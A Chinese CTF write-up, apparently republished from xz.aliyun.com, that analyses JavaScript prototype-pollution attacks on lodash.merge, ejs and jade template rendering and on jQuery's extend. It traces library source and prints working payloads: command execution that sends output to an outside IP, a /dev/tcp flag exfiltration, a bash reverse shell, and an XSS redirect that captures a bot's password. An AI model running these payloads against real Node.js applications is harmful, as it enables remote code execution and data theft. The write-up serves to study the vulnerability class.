从几个例子分析JavaScript Prototype 污染攻击
2020-03-03 09:53:25 Author: xz.aliyun.com(查看原文) 阅读量:321 收藏

一直对原型链污染有些地方不是很理解,通过这些题目和例子分析一下,欢迎师傅们斧正一些说的不对的地方

lodash

1、Code-Breaking thejs

server.js

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})
        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))

只有一个功能就是把喜欢的语言,和ctf的选项提交

看到一个敏感的库lodash

https://snyk.io/vuln/SNYK-JS-LODASHMERGE-173732

存在着原型链污染,可以通过修改对象的__proto__来修改对象里的属性

测试代码

var _ = require('lodash');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
_.merge({},payload)
console.log(payload.isAdmin)
//true

直接将对象内的isAdmin修改为true

webstorm下断点,本地打开,运行,在这两个位置下断点,跟一下代码

当我们post{"__proto__":{"xxx":123}} merge后可以写一段console.log(data.xxx)会发现输出123

原因是修改了对象的__proto__,当输出data.xxx时会先查找data.__proto__.xxx

P神的文章说的很清楚了

我们要看看模板渲染(lodash.template)的代码,看看可以修改哪些属性,进而命令执行(我这里需要强制单步跟进,红色那个下箭头)

发现options.sourceURL只要存在就可以作为sourceURL,但是这里写死的没有设置options

var sourceURL = '//# sourceURL=' +
        ('sourceURL' in options
          ? options.sourceURL
          : ('lodash.templateSources[' + (++templateCounter) + ']')
        ) + '\n';

再往下看这个变量

var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });

return Function 是动态函数的意思

结构:

var f = new Function('say',"alert(say);");//第一个参数,是构建出来的动态函数的参数;第二个参数,是函数体

回到题目代码很明显能看到拼接,但是前面有个注释//# sourceURL=,需要换行\u000a\n 都是可以的

new Function里不能直接require('child_process')

报错结果就是页面无回显

需要用global.process.mainModule.constructor._load来加载库,还有容器里不存在wgetcurl 需要调用http

payload:

{"__proto__":{"sourceURL":"\nvar require = global.process.mainModule.constructor._load;var result = require('child_process').execSync('ls /').toString();var req = require('http').request(`http://39.108.36.103:2333/${result}`);req.end()"}}

2.hardjs [ejs 模板引擎]

Referer

https://xz.aliyun.com/t/6113

https://www.xmsec.cc/prototype-pollution-notes/

Source

https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs

render 过程

res.render

res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge res.locals
  opts._locals = self.locals;

  // default callback to respond
  done = done || function (err, str) {
    if (err) return req.next(err);
    self.send(str);
  };

  // render
  app.render(view, opts, done);
};

application app.render

app.render = function render(name, options, callback) {
……
tryRender(view, renderOptions, done);

tryRender

function tryRender(view, options, callback) {
  try {
    view.render(options, callback);

view.render

View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};

this.engine 就是ejs了

exports.renderFile = function () {
……
return tryHandleCache(opts, data, cb);
}

tryHandleCache

function tryHandleCache(options, data, cb) {
  var result;
  if (!cb) {
    if (typeof exports.promiseImpl == 'function') {
      return new exports.promiseImpl(function (resolve, reject) {
        try {
          result = handleCache(options)(data);
          resolve(result);
        }
        catch (err) {
          reject(err);
        }
      });
    }
    else {
      throw new Error('Please provide a callback function');
    }
  }
  else {
    try {
      result = handleCache(options)(data);
    }
    catch (err) {
      return cb(err);
    }

    cb(null, result);
  }
}

handleCache

function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;

  if (options.cache) {
    if (!filename) {
      throw new Error('cache option requires a filename');
    }
    func = exports.cache.get(filename);
    if (func) {
      return func;
    }
    if (!hasTemplate) {
      template = fileLoader(filename).toString().replace(_BOM, '');
    }
  }
  else if (!hasTemplate) {
    // istanbul ignore if: should not happen at all
    if (!filename) {
      throw new Error('Internal EJS error: no file name or template '
                    + 'provided');
    }
    template = fileLoader(filename).toString().replace(_BOM, '');
  }
  func = exports.compile(template, options);
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;
}

exports.complie

exports.compile = function compile(template, opts) {
  var templ;

  // v1 compat
  // 'scope' is 'context'
  // FIXME: Remove this in a future version
  if (opts && opts.scope) {
    if (!scopeOptionWarned){
      console.warn('`scope` option is deprecated and will be removed in EJS 3');
      scopeOptionWarned = true;
    }
    if (!opts.context) {
      opts.context = opts.scope;
    }
    delete opts.scope;
  }
  templ = new Template(template, opts);
  return templ.compile();
};

到Template

function Template(text, opts) {

找compile方法

compile: function () {
……

  if (!this.source) {
    this.generateSource();
    prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
    if (opts.outputFunctionName) {
      prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
    }
    if (opts._with !== false) {
      prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
      appended += '  }' + '\n';
    }
    appended += '  return __output.join("");' + '\n';
    this.source = prepended + this.source + appended;
  }

  if (opts.compileDebug) {
    src = 'var __line = 1' + '\n'
      + '  , __lines = ' + JSON.stringify(this.templateText) + '\n'
      + '  , __filename = ' + (opts.filename ?
      JSON.stringify(opts.filename) : 'undefined') + ';' + '\n'
      + 'try {' + '\n'
      + this.source
      + '} catch (e) {' + '\n'
      + '  rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
      + '}' + '\n';
  }
  else {
    src = this.source;
  }

  if (opts.client) {
    src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
    if (opts.compileDebug) {
      src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
    }
  }

  if (opts.strict) {
    src = '"use strict";\n' + src;
  }
  if (opts.debug) {
    console.log(src);
  }

  try {
    if (opts.async) {
      // Have to use generated function for this, since in envs without support,
      // it breaks in parsing
      try {
        ctor = (new Function('return (async function(){}).constructor;'))();
      }
      catch(e) {
        if (e instanceof SyntaxError) {
          throw new Error('This environment does not support async/await');
        }
        else {
          throw e;
        }
      }
    }
    else {
      ctor = Function;
    }
    fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
  }
  catch(e) {
    // istanbul ignore else
    if (e instanceof SyntaxError) {
      if (opts.filename) {
        e.message += ' in ' + opts.filename;
      }
      e.message += ' while compiling ejs\n\n';
      e.message += 'If the above error is not helpful, you may want to try EJS-Lint:\n';
      e.message += 'https://github.com/RyanZim/EJS-Lint';
      if (!e.async) {
        e.message += '\n';
        e.message += 'Or, if you meant to create an async function, pass async: true as an option.';
      }
    }
    throw e;
  }

  if (opts.client) {
    fn.dependencies = this.dependencies;
    return fn;
  }

  // Return a callable function which will execute the function
  // created by the source-code, with the passed data as locals
  // Adds a local `include` function which allows full recursive include
  var returnedFn = function (data) {
    var include = function (path, includeData) {
      var d = utils.shallowCopy({}, data);
      if (includeData) {
        d = utils.shallowCopy(d, includeData);
      }
      return includeFile(path, opts)(d);
    };
    return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
  };
  returnedFn.dependencies = this.dependencies;
  return returnedFn;
},
  • 解法1 escape
……
var escapeFn = opts.escapeFunction;
……
if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
  if (opts.compileDebug) {
    src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
  }
}

payload

{"type":"test","content":{"constructor":{"prototype":{"client":true,"escapeFunction": "1;return process.env.FLAG","compileDebug":true}}}}

打五次

else if(dataList[0].count > 5) {
……
else{
  console.log("Return recorder is less than 5,so return it without merge.");
  ……
}

  • 解法2. outputFunctionName
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

payload

{"type":"test","content":{"constructor":{"prototype":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}

这个要反弹shell,我没成功

  • 解法3 污染绕过登录+xss

注册,向add 提交

{"constructor":{"prototype":{"login":true,"userid":1}}}

提交六次会进行合并
因为req.session.login 和req.session.userid 没定义 是undefined

function auth(req,res,next){
    // var session = req.session;
    if(!req.session.login || !req.session.userid ){
        res.redirect(302,"/login");
    } else{
        next();
    }    
}

req.session.loginreq.session.userid属性没有定义,会去找req.session.__proto__.loginreq.session.__proto__.userid,如果不存在,再找req.__proto__.login ……

当污染了{},会导致所有未定义的对象的login全都为true

然后看bot源码

usernameForm = client.find_element_by_xpath("//input[@name='username']")
passwordForm = client.find_element_by_xpath("//input[@name='password']")

我们需要插入让其跳转我们构造的界面

前端jquery<3.4.1 extends函数存在原型链污染漏洞

function getAll(allNode){
    $.ajax({
        url:"/get",
        type:"get",
        async:false,
        success: function(datas){
            for(var i=0 ;i<datas.length; i++){
                $.extend(true,allNode,datas[i])
            }
            // console.log(allNode);
        }
    })
}

app.js前端动态渲染

(function(){
        var hints = {
            header : "自定义内容",
            notice: "自定义公告",
            wiki : "自定义wiki",
            button:"自定义内容",
            message: "自定义留言内容"
        };
        for(key in hints){
            // console.log(key);
            element = $("li[type='"+key+"']"); 
            if(element){
                element.find("span.content").html(hints[key]);
            }
        }
    })();

我们需要找到有typecontent 属性

找到logger

</div>
 <div class="am-g error-log">
    <ul class="am-list am-in">
      <li type="logger">
          <div class="col-sm-12 col-sm-centered">
              <pre class="am-pre-scrollable">
                  <span class="am-text-success">[Tue Jan 11 17:32:52 9]</span> <span class="am-text-danger">[info]</span> <span class="content">StoreHtml init success .....</span>
              </pre>
          </div>
      </li>
    </ul>

</div>

设置content<script>window.location='http://xx/'</script> 或者form表单,将action设置为服务器地址,就可以收密码了,也就是flag

  1. Jade

参考自vk师傅的文章

环境

server.js

const express = require('express');
const lodash = require('lodash');
const path = require('path');
var bodyParser = require('body-parser');


const app =  express();
var router = express.Router();

app.set('view engine', 'jade');
app.set('views', path.join(__dirname, 'views'));
app.use(bodyParser.json({ extended: true }));


app.get('/',function (req, res) {
    res.send('Hello World');
})

app.post('/post',function (req, res) {
    var body = JSON.parse(JSON.stringify(req.body));
    var a = {};
    var copybody = lodash.merge(a,body);
    console.log(a.name);
    res.render('index', {
        title: 'HTML',
        name: a.name || ''
    });

})

app.listen(3000, () => console.log('Example app listening on port http://127.0.0.1:3000 !'))

res.render 下断点

res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge res.locals
  opts._locals = self.locals;

  // default callback to respond
  done = done || function (err, str) {
    if (err) return req.next(err);
    self.send(str);
  };

  // render
  app.render(view, opts, done);
};

app.render

app.render = function render(name, options, callback) {
  var cache = this.cache;
  var done = callback;
  var engines = this.engines;
  var opts = options;
  var renderOptions = {};
  var view;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge app.locals
  merge(renderOptions, this.locals);

  // merge options._locals
  if (opts._locals) {
    merge(renderOptions, opts._locals);
  }

  // merge options
  merge(renderOptions, opts);

  // set .cache unless explicitly provided
  if (renderOptions.cache == null) {
    renderOptions.cache = this.enabled('view cache');
  }

  // primed cache
  if (renderOptions.cache) {
    view = cache[name];
  }

  // view
  if (!view) {
    var View = this.get('view');

    view = new View(name, {
      defaultEngine: this.get('view engine'),
      root: this.get('views'),
      engines: engines
    });

    if (!view.path) {
      var dirs = Array.isArray(view.root) && view.root.length > 1
        ? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
        : 'directory "' + view.root + '"'
      var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
      err.view = view;
      return done(err);
    }

    // prime the cache
    if (renderOptions.cache) {
      cache[name] = view;
    }
  }

  // render
  tryRender(view, renderOptions, done);
};

tryRender

function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }
}

view.render

View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};

exports.__express

exports.__express = function(path, options, fn) {
  if(options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
    options.compileDebug = false;
  }
  exports.renderFile(path, options, fn);
}

renderFile

exports.renderFile = function(path, options, fn){
  // support callback API
  if ('function' == typeof options) {
    fn = options, options = undefined;
  }
  if (typeof fn === 'function') {
    var res
    try {
      res = exports.renderFile(path, options);
    } catch (ex) {
      return fn(ex);
    }
    return fn(null, res);
  }

  options = options || {};

  options.filename = path;
  return handleTemplateCache(options)(options);
};

handleTemplateCache

function handleTemplateCache (options, str) {
  var key = options.filename;
  if (options.cache && exports.cache[key]) {
    return exports.cache[key];
  } else {
    if (str === undefined) str = fs.readFileSync(options.filename, 'utf8');
    var templ = exports.compile(str, options);
    if (options.cache) exports.cache[key] = templ;
    return templ;
  }
}

exports.compile

exports.compile = function(str, options){
  var options = options || {}
    , filename = options.filename
      ? utils.stringify(options.filename)
      : 'undefined'
    , fn;

  str = String(str);

  var parsed = parse(str, options);
  if (options.compileDebug !== false) {
    fn = [
        'var jade_debug = [ new jade.DebugItem( 1, ' + filename + ' ) ];'
      , 'try {'
      , parsed.body
      , '} catch (err) {'
      , '  jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno' + (options.compileDebug === true ? ',' + utils.stringify(str) : '') + ');'
      , '}'
    ].join('\n');
  } else {
    fn = parsed.body;
  }
  fn = new Function('locals, jade', fn)
  var res = function(locals){ return fn(locals, Object.create(runtime)) };
  if (options.client) {
    res.toString = function () {
      var err = new Error('The `client` option is deprecated, use the `jade.compileClient` method instead');
      err.name = 'Warning';
      console.error(err.stack || /* istanbul ignore next */ err.message);
      return exports.compileClient(str, options);
    };
  }
  res.dependencies = parsed.dependencies;
  return res;
};

compile -> parse -> compiler.compile

compile: function(){
  this.buf = [];
  if (this.pp) this.buf.push("var jade_indent = [];");
  this.lastBufferedIdx = -1;
  this.visit(this.node);
  if (!this.dynamicMixins) {
    // if there are no dynamic mixins we can remove any un-used mixins
    var mixinNames = Object.keys(this.mixins);
    for (var i = 0; i < mixinNames.length; i++) {
      var mixin = this.mixins[mixinNames[i]];
      if (!mixin.used) {
        for (var x = 0; x < mixin.instances.length; x++) {
          for (var y = mixin.instances[x].start; y < mixin.instances[x].end; y++) {
            this.buf[y] = '';
          }
        }
      }
    }
  }
  return this.buf.join('\n');
},

visit

visit: function(node){
  var debug = this.debug;

  if (debug) {
    this.buf.push('jade_debug.unshift(new jade.DebugItem( ' + node.line
      + ', ' + (node.filename
        ? utils.stringify(node.filename)
        : 'jade_debug[0].filename')
      + ' ));');
  }

  // Massive hack to fix our context
  // stack for - else[ if] etc
  if (false === node.debug && this.debug) {
    this.buf.pop();
    this.buf.pop();
  }

  this.visitNode(node);

  if (debug) this.buf.push('jade_debug.shift();');
},

这里有拼接 node.line node.filename

stringfy 是啥?

exports.stringify = function(str) {
  return JSON.stringify(str)
             .replace(/\u2028/g, '\\u2028')
             .replace(/\u2029/g, '\\u2029');
};

去掉了双引号,所以能注入的只有node.line

payload:

{"proto":{"compileDebug":1,"self":1,"line":"console.log('test inject')"}}

RCE:

{"proto":{"compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/39.108.36.103/2333 0>&1\"')"}}

Referfer

https://xz.aliyun.com/t/6113#reply-13859

https://www.xmsec.cc/prototype-pollution-notes/

https://www.xmsec.cc/prototype-pollution-notes/

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://snyk.io/vuln/SNYK-JS-JQUERY-174006)


文章来源: http://xz.aliyun.com/t/7293
如有侵权请联系:admin#unsafe.sh